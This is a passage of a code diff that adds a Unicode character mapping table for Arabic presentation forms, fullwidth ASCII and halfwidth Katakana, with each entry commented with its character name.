+ ["\uFE74", "\uFE74"], /* ARABIC KASRATAN ISOLATED FORM (ARABIC SPACING KASRATAN) */
+ ["\uFE75", "\uFE75"],
+ ["\uFE76", "\uFE76"], /* ARABIC FATHA ISOLATED FORM (ARABIC SPACING FATHAH) */
+ ["\uFE77", "\uFE77"], /* ARABIC FATHA MEDIAL FORM (ARABIC FATHAH ON TATWEEL) */
+ ["\uFE78", "\uFE78"], /* ARABIC DAMMA ISOLATED FORM (ARABIC SPACING DAMMAH) */
+ ["\uFE79", "\uFE79"], /* ARABIC DAMMA MEDIAL FORM (ARABIC DAMMAH ON TATWEEL) */
+ ["\uFE7A", "\uFE7A"], /* ARABIC KASRA ISOLATED FORM (ARABIC SPACING KASRAH) */
+ ["\uFE7B", "\uFE7B"], /* ARABIC KASRA MEDIAL FORM (ARABIC KASRAH ON TATWEEL) */
+ ["\uFE7C", "\uFE7C"], /* ARABIC SHADDA ISOLATED FORM (ARABIC SPACING SHADDAH) */
+ ["\uFE7D", "\uFE7D"], /* ARABIC SHADDA MEDIAL FORM (ARABIC SHADDAH ON TATWEEL) */
+ ["\uFE7E", "\uFE7E"], /* ARABIC SUKUN ISOLATED FORM (ARABIC SPACING SUKUN) */
+ ["\uFE7F", "\uFE7F"], /* ARABIC SUKUN MEDIAL FORM (ARABIC SUKUN ON TATWEEL) */
+ ["\uFE80", "\uFE80"], /* ARABIC LETTER HAMZA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH) */
+ ["\uFE81", "\uFE81"], /* ARABIC LETTER ALEF WITH MADDA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MADDAH ON ALEF) */
+ ["\uFE82", "\uFE82"], /* ARABIC LETTER ALEF WITH MADDA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC MADDAH ON ALEF) */
+ ["\uFE83", "\uFE83"], /* ARABIC LETTER ALEF WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON ALEF) */
+ ["\uFE84", "\uFE84"], /* ARABIC LETTER ALEF WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON ALEF) */
+ ["\uFE85", "\uFE85"], /* ARABIC LETTER WAW WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON WAW) */
+ ["\uFE86", "\uFE86"], /* ARABIC LETTER WAW WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON WAW) */
+ ["\uFE87", "\uFE87"], /* ARABIC LETTER ALEF WITH HAMZA BELOW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH UNDER ALEF) */
+ ["\uFE88", "\uFE88"], /* ARABIC LETTER ALEF WITH HAMZA BELOW FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH UNDER ALEF) */
+ ["\uFE89", "\uFE89"], /* ARABIC LETTER YEH WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON YA) */
+ ["\uFE8A", "\uFE8A"], /* ARABIC LETTER YEH WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON YA) */
+ ["\uFE8B", "\uFE8B"], /* ARABIC LETTER YEH WITH HAMZA ABOVE INITIAL FORM (GLYPH FOR INITIAL ARABIC HAMZAH ON YA) */
+ ["\uFE8C", "\uFE8C"], /* ARABIC LETTER YEH WITH HAMZA ABOVE MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HAMZAH ON YA) */
+ ["\uFE8D", "\uFE8D"], /* ARABIC LETTER ALEF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ALEF) */
+ ["\uFE8E", "\uFE8E"], /* ARABIC LETTER ALEF FINAL FORM (GLYPH FOR FINAL ARABIC ALEF) */
+ ["\uFE8F", "\uFE8F"], /* ARABIC LETTER BEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC BAA) */
+ ["\uFE90", "\uFE90"], /* ARABIC LETTER BEH FINAL FORM (GLYPH FOR FINAL ARABIC BAA) */
+ ["\uFE91", "\uFE91"], /* ARABIC LETTER BEH INITIAL FORM (GLYPH FOR INITIAL ARABIC BAA) */
+ ["\uFE92", "\uFE92"], /* ARABIC LETTER BEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC BAA) */
+ ["\uFE93", "\uFE93"], /* ARABIC LETTER TEH MARBUTA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAA MARBUTAH) */
+ ["\uFE94", "\uFE94"], /* ARABIC LETTER TEH MARBUTA FINAL FORM (GLYPH FOR FINAL ARABIC TAA MARBUTAH) */
+ ["\uFE95", "\uFE95"], /* ARABIC LETTER TEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAA) */
+ ["\uFE96", "\uFE96"], /* ARABIC LETTER TEH FINAL FORM (GLYPH FOR FINAL ARABIC TAA) */
+ ["\uFE97", "\uFE97"], /* ARABIC LETTER TEH INITIAL FORM (GLYPH FOR INITIAL ARABIC TAA) */
+ ["\uFE98", "\uFE98"], /* ARABIC LETTER TEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC TAA) */
+ ["\uFE99", "\uFE99"], /* ARABIC LETTER THEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC THAA) */
+ ["\uFE9A", "\uFE9A"], /* ARABIC LETTER THEH FINAL FORM (GLYPH FOR FINAL ARABIC THAA) */
+ ["\uFE9B", "\uFE9B"], /* ARABIC LETTER THEH INITIAL FORM (GLYPH FOR INITIAL ARABIC THAA) */
+ ["\uFE9C", "\uFE9C"], /* ARABIC LETTER THEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC THAA) */
+ ["\uFE9D", "\uFE9D"], /* ARABIC LETTER JEEM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC JEEM) */
+ ["\uFE9E", "\uFE9E"], /* ARABIC LETTER JEEM FINAL FORM (GLYPH FOR FINAL ARABIC JEEM) */
+ ["\uFE9F", "\uFE9F"], /* ARABIC LETTER JEEM INITIAL FORM (GLYPH FOR INITIAL ARABIC JEEM) */
+ ["\uFEA0", "\uFEA0"], /* ARABIC LETTER JEEM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC JEEM) */
+ ["\uFEA1", "\uFEA1"], /* ARABIC LETTER HAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAA) */
+ ["\uFEA2", "\uFEA2"], /* ARABIC LETTER HAH FINAL FORM (GLYPH FOR FINAL ARABIC HAA) */
+ ["\uFEA3", "\uFEA3"], /* ARABIC LETTER HAH INITIAL FORM (GLYPH FOR INITIAL ARABIC HAA) */
+ ["\uFEA4", "\uFEA4"], /* ARABIC LETTER HAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HAA) */
+ ["\uFEA5", "\uFEA5"], /* ARABIC LETTER KHAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC KHAA) */
+ ["\uFEA6", "\uFEA6"], /* ARABIC LETTER KHAH FINAL FORM (GLYPH FOR FINAL ARABIC KHAA) */
+ ["\uFEA7", "\uFEA7"], /* ARABIC LETTER KHAH INITIAL FORM (GLYPH FOR INITIAL ARABIC KHAA) */
+ ["\uFEA8", "\uFEA8"], /* ARABIC LETTER KHAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC KHAA) */
+ ["\uFEA9", "\uFEA9"], /* ARABIC LETTER DAL ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DAL) */
+ ["\uFEAA", "\uFEAA"], /* ARABIC LETTER DAL FINAL FORM (GLYPH FOR FINAL ARABIC DAL) */
+ ["\uFEAB", "\uFEAB"], /* ARABIC LETTER THAL ISOLATED FORM (GLYPH FOR ISOLATE ARABIC THAL) */
+ ["\uFEAC", "\uFEAC"], /* ARABIC LETTER THAL FINAL FORM (GLYPH FOR FINAL ARABIC THAL) */
+ ["\uFEAD", "\uFEAD"], /* ARABIC LETTER REH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC RA) */
+ ["\uFEAE", "\uFEAE"], /* ARABIC LETTER REH FINAL FORM (GLYPH FOR FINAL ARABIC RA) */
+ ["\uFEAF", "\uFEAF"], /* ARABIC LETTER ZAIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ZAIN) */
+ ["\uFEB0", "\uFEB0"], /* ARABIC LETTER ZAIN FINAL FORM (GLYPH FOR FINAL ARABIC ZAIN) */
+ ["\uFEB1", "\uFEB1"], /* ARABIC LETTER SEEN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SEEN) */
+ ["\uFEB2", "\uFEB2"], /* ARABIC LETTER SEEN FINAL FORM (GLYPH FOR FINAL ARABIC SEEN) */
+ ["\uFEB3", "\uFEB3"], /* ARABIC LETTER SEEN INITIAL FORM (GLYPH FOR INITIAL ARABIC SEEN) */
+ ["\uFEB4", "\uFEB4"], /* ARABIC LETTER SEEN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SEEN) */
+ ["\uFEB5", "\uFEB5"], /* ARABIC LETTER SHEEN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SHEEN) */
+ ["\uFEB6", "\uFEB6"], /* ARABIC LETTER SHEEN FINAL FORM (GLYPH FOR FINAL ARABIC SHEEN) */
+ ["\uFEB7", "\uFEB7"], /* ARABIC LETTER SHEEN INITIAL FORM (GLYPH FOR INITIAL ARABIC SHEEN) */
+ ["\uFEB8", "\uFEB8"], /* ARABIC LETTER SHEEN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SHEEN) */
+ ["\uFEB9", "\uFEB9"], /* ARABIC LETTER SAD ISOLATED FORM (GLYPH FOR ISOLATE ARABIC SAD) */
+ ["\uFEBA", "\uFEBA"], /* ARABIC LETTER SAD FINAL FORM (GLYPH FOR FINAL ARABIC SAD) */
+ ["\uFEBB", "\uFEBB"], /* ARABIC LETTER SAD INITIAL FORM (GLYPH FOR INITIAL ARABIC SAD) */
+ ["\uFEBC", "\uFEBC"], /* ARABIC LETTER SAD MEDIAL FORM (GLYPH FOR MEDIAL ARABIC SAD) */
+ ["\uFEBD", "\uFEBD"], /* ARABIC LETTER DAD ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DAD) */
+ ["\uFEBE", "\uFEBE"], /* ARABIC LETTER DAD FINAL FORM (GLYPH FOR FINAL ARABIC DAD) */
+ ["\uFEBF", "\uFEBF"], /* ARABIC LETTER DAD INITIAL FORM (GLYPH FOR INITIAL ARABIC DAD) */
+ ["\uFEC0", "\uFEC0"], /* ARABIC LETTER DAD MEDIAL FORM (GLYPH FOR MEDIAL ARABIC DAD) */
+ ["\uFEC1", "\uFEC1"], /* ARABIC LETTER TAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC TAH) */
+ ["\uFEC2", "\uFEC2"], /* ARABIC LETTER TAH FINAL FORM (GLYPH FOR FINAL ARABIC TAH) */
+ ["\uFEC3", "\uFEC3"], /* ARABIC LETTER TAH INITIAL FORM (GLYPH FOR INITIAL ARABIC TAH) */
+ ["\uFEC4", "\uFEC4"], /* ARABIC LETTER TAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC TAH) */
+ ["\uFEC5", "\uFEC5"], /* ARABIC LETTER ZAH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC DHAH) */
+ ["\uFEC6", "\uFEC6"], /* ARABIC LETTER ZAH FINAL FORM (GLYPH FOR FINAL ARABIC DHAH) */
+ ["\uFEC7", "\uFEC7"], /* ARABIC LETTER ZAH INITIAL FORM (GLYPH FOR INITIAL ARABIC DHAH) */
+ ["\uFEC8", "\uFEC8"], /* ARABIC LETTER ZAH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC DHAH) */
+ ["\uFEC9", "\uFEC9"], /* ARABIC LETTER AIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC AIN) */
+ ["\uFECA", "\uFECA"], /* ARABIC LETTER AIN FINAL FORM (GLYPH FOR FINAL ARABIC AIN) */
+ ["\uFECB", "\uFECB"], /* ARABIC LETTER AIN INITIAL FORM (GLYPH FOR INITIAL ARABIC AIN) */
+ ["\uFECC", "\uFECC"], /* ARABIC LETTER AIN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC AIN) */
+ ["\uFECD", "\uFECD"], /* ARABIC LETTER GHAIN ISOLATED FORM (GLYPH FOR ISOLATE ARABIC GHAIN) */
+ ["\uFECE", "\uFECE"], /* ARABIC LETTER GHAIN FINAL FORM (GLYPH FOR FINAL ARABIC GHAIN) */
+ ["\uFECF", "\uFECF"], /* ARABIC LETTER GHAIN INITIAL FORM (GLYPH FOR INITIAL ARABIC GHAIN) */
+ ["\uFED0", "\uFED0"], /* ARABIC LETTER GHAIN MEDIAL FORM (GLYPH FOR MEDIAL ARABIC GHAIN) */
+ ["\uFED1", "\uFED1"], /* ARABIC LETTER FEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC FA) */
+ ["\uFED2", "\uFED2"], /* ARABIC LETTER FEH FINAL FORM (GLYPH FOR FINAL ARABIC FA) */
+ ["\uFED3", "\uFED3"], /* ARABIC LETTER FEH INITIAL FORM (GLYPH FOR INITIAL ARABIC FA) */
+ ["\uFED4", "\uFED4"], /* ARABIC LETTER FEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC FA) */
+ ["\uFED5", "\uFED5"], /* ARABIC LETTER QAF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC QAF) */
+ ["\uFED6", "\uFED6"], /* ARABIC LETTER QAF FINAL FORM (GLYPH FOR FINAL ARABIC QAF) */
+ ["\uFED7", "\uFED7"], /* ARABIC LETTER QAF INITIAL FORM (GLYPH FOR INITIAL ARABIC QAF) */
+ ["\uFED8", "\uFED8"], /* ARABIC LETTER QAF MEDIAL FORM (GLYPH FOR MEDIAL ARABIC QAF) */
+ ["\uFED9", "\uFED9"], /* ARABIC LETTER KAF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC CAF) */
+ ["\uFEDA", "\uFEDA"], /* ARABIC LETTER KAF FINAL FORM (GLYPH FOR FINAL ARABIC CAF) */
+ ["\uFEDB", "\uFEDB"], /* ARABIC LETTER KAF INITIAL FORM (GLYPH FOR INITIAL ARABIC CAF) */
+ ["\uFEDC", "\uFEDC"], /* ARABIC LETTER KAF MEDIAL FORM (GLYPH FOR MEDIAL ARABIC CAF) */
+ ["\uFEDD", "\uFEDD"], /* ARABIC LETTER LAM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC LAM) */
+ ["\uFEDE", "\uFEDE"], /* ARABIC LETTER LAM FINAL FORM (GLYPH FOR FINAL ARABIC LAM) */
+ ["\uFEDF", "\uFEDF"], /* ARABIC LETTER LAM INITIAL FORM (GLYPH FOR INITIAL ARABIC LAM) */
+ ["\uFEE0", "\uFEE0"], /* ARABIC LETTER LAM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC LAM) */
+ ["\uFEE1", "\uFEE1"], /* ARABIC LETTER MEEM ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MEEM) */
+ ["\uFEE2", "\uFEE2"], /* ARABIC LETTER MEEM FINAL FORM (GLYPH FOR FINAL ARABIC MEEM) */
+ ["\uFEE3", "\uFEE3"], /* ARABIC LETTER MEEM INITIAL FORM (GLYPH FOR INITIAL ARABIC MEEM) */
+ ["\uFEE4", "\uFEE4"], /* ARABIC LETTER MEEM MEDIAL FORM (GLYPH FOR MEDIAL ARABIC MEEM) */
+ ["\uFEE5", "\uFEE5"], /* ARABIC LETTER NOON ISOLATED FORM (GLYPH FOR ISOLATE ARABIC NOON) */
+ ["\uFEE6", "\uFEE6"], /* ARABIC LETTER NOON FINAL FORM (GLYPH FOR FINAL ARABIC NOON) */
+ ["\uFEE7", "\uFEE7"], /* ARABIC LETTER NOON INITIAL FORM (GLYPH FOR INITIAL ARABIC NOON) */
+ ["\uFEE8", "\uFEE8"], /* ARABIC LETTER NOON MEDIAL FORM (GLYPH FOR MEDIAL ARABIC NOON) */
+ ["\uFEE9", "\uFEE9"], /* ARABIC LETTER HEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HA) */
+ ["\uFEEA", "\uFEEA"], /* ARABIC LETTER HEH FINAL FORM (GLYPH FOR FINAL ARABIC HA) */
+ ["\uFEEB", "\uFEEB"], /* ARABIC LETTER HEH INITIAL FORM (GLYPH FOR INITIAL ARABIC HA) */
+ ["\uFEEC", "\uFEEC"], /* ARABIC LETTER HEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC HA) */
+ ["\uFEED", "\uFEED"], /* ARABIC LETTER WAW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC WAW) */
+ ["\uFEEE", "\uFEEE"], /* ARABIC LETTER WAW FINAL FORM (GLYPH FOR FINAL ARABIC WAW) */
+ ["\uFEEF", "\uFEEF"], /* ARABIC LETTER ALEF MAKSURA ISOLATED FORM (GLYPH FOR ISOLATE ARABIC ALEF MAQSURAH) */
+ ["\uFEF0", "\uFEF0"], /* ARABIC LETTER ALEF MAKSURA FINAL FORM (GLYPH FOR FINAL ARABIC ALEF MAQSURAH) */
+ ["\uFEF1", "\uFEF1"], /* ARABIC LETTER YEH ISOLATED FORM (GLYPH FOR ISOLATE ARABIC YA) */
+ ["\uFEF2", "\uFEF2"], /* ARABIC LETTER YEH FINAL FORM (GLYPH FOR FINAL ARABIC YA) */
+ ["\uFEF3", "\uFEF3"], /* ARABIC LETTER YEH INITIAL FORM (GLYPH FOR INITIAL ARABIC YA) */
+ ["\uFEF4", "\uFEF4"], /* ARABIC LETTER YEH MEDIAL FORM (GLYPH FOR MEDIAL ARABIC YA) */
+ ["\uFEF5", "\uFEF5"], /* ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC MADDAH ON LIGATURE LAM ALEF) */
+ ["\uFEF6", "\uFEF6"], /* ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC MADDAH ON LIGATURE LAM ALEF) */
+ ["\uFEF7", "\uFEF7"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH ON LIGATURE LAM ALEF) */
+ ["\uFEF8", "\uFEF8"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH ON LIGATURE LAM ALEF) */
+ ["\uFEF9", "\uFEF9"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM (GLYPH FOR ISOLATE ARABIC HAMZAH UNDER LIGATURE LAM ALEF) */
+ ["\uFEFA", "\uFEFA"], /* ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM (GLYPH FOR FINAL ARABIC HAMZAH UNDER LIGATURE LAM ALEF) */
+ ["\uFEFB", "\uFEFB"], /* ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM (GLYPH FOR ISOLATE ARABIC LIGATURE LAM ALEF) */
+ ["\uFEFC", "\uFEFC"], /* ARABIC LIGATURE LAM WITH ALEF FINAL FORM (GLYPH FOR FINAL ARABIC LIGATURE LAM ALEF) */
+ ["\uFEFD", "\uFEFD"],
+ ["\uFEFE", "\uFEFE"],
+ ["\uFEFF", "\uFEFF"], /* ZERO WIDTH NO-BREAK SPACE (BYTE ORDER MARK) */
+ ["\uFF00", "\uFF00"],
+ ["\uFF01", "\uFF01"], /* FULLWIDTH EXCLAMATION MARK */
+ ["\uFF02", "\uFF02"], /* FULLWIDTH QUOTATION MARK */
+ ["\uFF03", "\uFF03"], /* FULLWIDTH NUMBER SIGN */
+ ["\uFF04", "\uFF04"], /* FULLWIDTH DOLLAR SIGN */
+ ["\uFF05", "\uFF05"], /* FULLWIDTH PERCENT SIGN */
+ ["\uFF06", "\uFF06"], /* FULLWIDTH AMPERSAND */
+ ["\uFF07", "\uFF07"], /* FULLWIDTH APOSTROPHE */
+ ["\uFF08", "\uFF08"], /* FULLWIDTH LEFT PARENTHESIS (FULLWIDTH OPENING PARENTHESIS) */
+ ["\uFF09", "\uFF09"], /* FULLWIDTH RIGHT PARENTHESIS (FULLWIDTH CLOSING PARENTHESIS) */
+ ["\uFF0A", "\uFF0A"], /* FULLWIDTH ASTERISK */
+ ["\uFF0B", "\uFF0B"], /* FULLWIDTH PLUS SIGN */
+ ["\uFF0C", "\uFF0C"], /* FULLWIDTH COMMA */
+ ["\uFF0D", "\uFF0D"], /* FULLWIDTH HYPHEN-MINUS */
+ ["\uFF0E", "\uFF0E"], /* FULLWIDTH FULL STOP (FULLWIDTH PERIOD) */
+ ["\uFF0F", "\uFF0F"], /* FULLWIDTH SOLIDUS (FULLWIDTH SLASH) */
+ ["\uFF10", "\uFF10"], /* FULLWIDTH DIGIT ZERO */
+ ["\uFF11", "\uFF11"], /* FULLWIDTH DIGIT ONE */
+ ["\uFF12", "\uFF12"], /* FULLWIDTH DIGIT TWO */
+ ["\uFF13", "\uFF13"], /* FULLWIDTH DIGIT THREE */
+ ["\uFF14", "\uFF14"], /* FULLWIDTH DIGIT FOUR */
+ ["\uFF15", "\uFF15"], /* FULLWIDTH DIGIT FIVE */
+ ["\uFF16", "\uFF16"], /* FULLWIDTH DIGIT SIX */
+ ["\uFF17", "\uFF17"], /* FULLWIDTH DIGIT SEVEN */
+ ["\uFF18", "\uFF18"], /* FULLWIDTH DIGIT EIGHT */
+ ["\uFF19", "\uFF19"], /* FULLWIDTH DIGIT NINE */
+ ["\uFF1A", "\uFF1A"], /* FULLWIDTH COLON */
+ ["\uFF1B", "\uFF1B"], /* FULLWIDTH SEMICOLON */
+ ["\uFF1C", "\uFF1C"], /* FULLWIDTH LESS-THAN SIGN */
+ ["\uFF1D", "\uFF1D"], /* FULLWIDTH EQUALS SIGN */
+ ["\uFF1E", "\uFF1E"], /* FULLWIDTH GREATER-THAN SIGN */
+ ["\uFF1F", "\uFF1F"], /* FULLWIDTH QUESTION MARK */
+ ["\uFF20", "\uFF20"], /* FULLWIDTH COMMERCIAL AT */
+ ["\uFF21", "\uFF41"], /* FULLWIDTH LATIN CAPITAL LETTER A */
+ ["\uFF22", "\uFF42"], /* FULLWIDTH LATIN CAPITAL LETTER B */
+ ["\uFF23", "\uFF43"], /* FULLWIDTH LATIN CAPITAL LETTER C */
+ ["\uFF24", "\uFF44"], /* FULLWIDTH LATIN CAPITAL LETTER D */
+ ["\uFF25", "\uFF45"], /* FULLWIDTH LATIN CAPITAL LETTER E */
+ ["\uFF26", "\uFF46"], /* FULLWIDTH LATIN CAPITAL LETTER F */
+ ["\uFF27", "\uFF47"], /* FULLWIDTH LATIN CAPITAL LETTER G */
+ ["\uFF28", "\uFF48"], /* FULLWIDTH LATIN CAPITAL LETTER H */
+ ["\uFF29", "\uFF49"], /* FULLWIDTH LATIN CAPITAL LETTER I */
+ ["\uFF2A", "\uFF4A"], /* FULLWIDTH LATIN CAPITAL LETTER J */
+ ["\uFF2B", "\uFF4B"], /* FULLWIDTH LATIN CAPITAL LETTER K */
+ ["\uFF2C", "\uFF4C"], /* FULLWIDTH LATIN CAPITAL LETTER L */
+ ["\uFF2D", "\uFF4D"], /* FULLWIDTH LATIN CAPITAL LETTER M */
+ ["\uFF2E", "\uFF4E"], /* FULLWIDTH LATIN CAPITAL LETTER N */
+ ["\uFF2F", "\uFF4F"], /* FULLWIDTH LATIN CAPITAL LETTER O */
+ ["\uFF30", "\uFF50"], /* FULLWIDTH LATIN CAPITAL LETTER P */
+ ["\uFF31", "\uFF51"], /* FULLWIDTH LATIN CAPITAL LETTER Q */
+ ["\uFF32", "\uFF52"], /* FULLWIDTH LATIN CAPITAL LETTER R */
+ ["\uFF33", "\uFF53"], /* FULLWIDTH LATIN CAPITAL LETTER S */
+ ["\uFF34", "\uFF54"], /* FULLWIDTH LATIN CAPITAL LETTER T */
+ ["\uFF35", "\uFF55"], /* FULLWIDTH LATIN CAPITAL LETTER U */
+ ["\uFF36", "\uFF56"], /* FULLWIDTH LATIN CAPITAL LETTER V */
+ ["\uFF37", "\uFF57"], /* FULLWIDTH LATIN CAPITAL LETTER W */
+ ["\uFF38", "\uFF58"], /* FULLWIDTH LATIN CAPITAL LETTER X */
+ ["\uFF39", "\uFF59"], /* FULLWIDTH LATIN CAPITAL LETTER Y */
+ ["\uFF3A", "\uFF5A"], /* FULLWIDTH LATIN CAPITAL LETTER Z */
+ ["\uFF3B", "\uFF3B"], /* FULLWIDTH LEFT SQUARE BRACKET (FULLWIDTH OPENING SQUARE BRACKET) */
+ ["\uFF3C", "\uFF3C"], /* FULLWIDTH REVERSE SOLIDUS (FULLWIDTH BACKSLASH) */
+ ["\uFF3D", "\uFF3D"], /* FULLWIDTH RIGHT SQUARE BRACKET (FULLWIDTH CLOSING SQUARE BRACKET) */
+ ["\uFF3E", "\uFF3E"], /* FULLWIDTH CIRCUMFLEX ACCENT (FULLWIDTH SPACING CIRCUMFLEX) */
+ ["\uFF3F", "\uFF3F"], /* FULLWIDTH LOW LINE (FULLWIDTH SPACING UNDERSCORE) */
+ ["\uFF40", "\uFF40"], /* FULLWIDTH GRAVE ACCENT (FULLWIDTH SPACING GRAVE) */
+ ["\uFF21", "\uFF41"], /* FULLWIDTH LATIN SMALL LETTER A */
+ ["\uFF22", "\uFF42"], /* FULLWIDTH LATIN SMALL LETTER B */
+ ["\uFF23", "\uFF43"], /* FULLWIDTH LATIN SMALL LETTER C */
+ ["\uFF24", "\uFF44"], /* FULLWIDTH LATIN SMALL LETTER D */
+ ["\uFF25", "\uFF45"], /* FULLWIDTH LATIN SMALL LETTER E */
+ ["\uFF26", "\uFF46"], /* FULLWIDTH LATIN SMALL LETTER F */
+ ["\uFF27", "\uFF47"], /* FULLWIDTH LATIN SMALL LETTER G */
+ ["\uFF28", "\uFF48"], /* FULLWIDTH LATIN SMALL LETTER H */
+ ["\uFF29", "\uFF49"], /* FULLWIDTH LATIN SMALL LETTER I */
+ ["\uFF2A", "\uFF4A"], /* FULLWIDTH LATIN SMALL LETTER J */
+ ["\uFF2B", "\uFF4B"], /* FULLWIDTH LATIN SMALL LETTER K */
+ ["\uFF2C", "\uFF4C"], /* FULLWIDTH LATIN SMALL LETTER L */
+ ["\uFF2D", "\uFF4D"], /* FULLWIDTH LATIN SMALL LETTER M */
+ ["\uFF2E", "\uFF4E"], /* FULLWIDTH LATIN SMALL LETTER N */
+ ["\uFF2F", "\uFF4F"], /* FULLWIDTH LATIN SMALL LETTER O */
+ ["\uFF30", "\uFF50"], /* FULLWIDTH LATIN SMALL LETTER P */
+ ["\uFF31", "\uFF51"], /* FULLWIDTH LATIN SMALL LETTER Q */
+ ["\uFF32", "\uFF52"], /* FULLWIDTH LATIN SMALL LETTER R */
+ ["\uFF33", "\uFF53"], /* FULLWIDTH LATIN SMALL LETTER S */
+ ["\uFF34", "\uFF54"], /* FULLWIDTH LATIN SMALL LETTER T */
+ ["\uFF35", "\uFF55"], /* FULLWIDTH LATIN SMALL LETTER U */
+ ["\uFF36", "\uFF56"], /* FULLWIDTH LATIN SMALL LETTER V */
+ ["\uFF37", "\uFF57"], /* FULLWIDTH LATIN SMALL LETTER W */
+ ["\uFF38", "\uFF58"], /* FULLWIDTH LATIN SMALL LETTER X */
+ ["\uFF39", "\uFF59"], /* FULLWIDTH LATIN SMALL LETTER Y */
+ ["\uFF3A", "\uFF5A"], /* FULLWIDTH LATIN SMALL LETTER Z */
+ ["\uFF5B", "\uFF5B"], /* FULLWIDTH LEFT CURLY BRACKET (FULLWIDTH OPENING CURLY BRACKET) */
+ ["\uFF5C", "\uFF5C"], /* FULLWIDTH VERTICAL LINE (FULLWIDTH VERTICAL BAR) */
+ ["\uFF5D", "\uFF5D"], /* FULLWIDTH RIGHT CURLY BRACKET (FULLWIDTH CLOSING CURLY BRACKET) */
+ ["\uFF5E", "\uFF5E"], /* FULLWIDTH TILDE (FULLWIDTH SPACING TILDE) */
+ ["\uFF5F", "\uFF5F"], /* FULLWIDTH LEFT WHITE PARENTHESIS */
+ ["\uFF60", "\uFF60"], /* FULLWIDTH RIGHT WHITE PARENTHESIS */
+ ["\uFF61", "\uFF61"], /* HALFWIDTH IDEOGRAPHIC FULL STOP (HALFWIDTH IDEOGRAPHIC PERIOD) */
+ ["\uFF62", "\uFF62"], /* HALFWIDTH LEFT CORNER BRACKET (HALFWIDTH OPENING CORNER BRACKET) */
+ ["\uFF63", "\uFF63"], /* HALFWIDTH RIGHT CORNER BRACKET (HALFWIDTH CLOSING CORNER BRACKET) */
+ ["\uFF64", "\uFF64"], /* HALFWIDTH IDEOGRAPHIC COMMA */
+ ["\uFF65", "\uFF65"], /* HALFWIDTH KATAKANA MIDDLE DOT */
+ ["\uFF66", "\uFF66"], /* HALFWIDTH KATAKANA LETTER WO */
+ ["\uFF67", "\uFF67"], /* HALFWIDTH KATAKANA LETTER SMALL A */
+ ["\uFF68", "\uFF68"], /* HALFWIDTH KATAKANA LETTER SMALL I */
+ ["\uFF69", "\uFF69"], /* HALFWIDTH KATAKANA LETTER SMALL U */
+ ["\uFF6A", "\uFF6A"], /* HALFWIDTH KATAKANA LETTER SMALL E */
+ ["\uFF6B", "\uFF6B"], /* HALFWIDTH KATAKANA LETTER SMALL O */
+ ["\uFF6C", "\uFF6C"], /* HALFWIDTH KATAKANA LETTER SMALL YA */
+ ["\uFF6D", "\uFF6D"], /* HALFWIDTH KATAKANA LETTER SMALL YU */
+ ["\uFF6E", "\uFF6E"], /* HALFWIDTH KATAKANA LETTER SMALL YO */
+ ["\uFF6F", "\uFF6F"], /* HALFWIDTH KATAKANA LETTER SMALL TU */
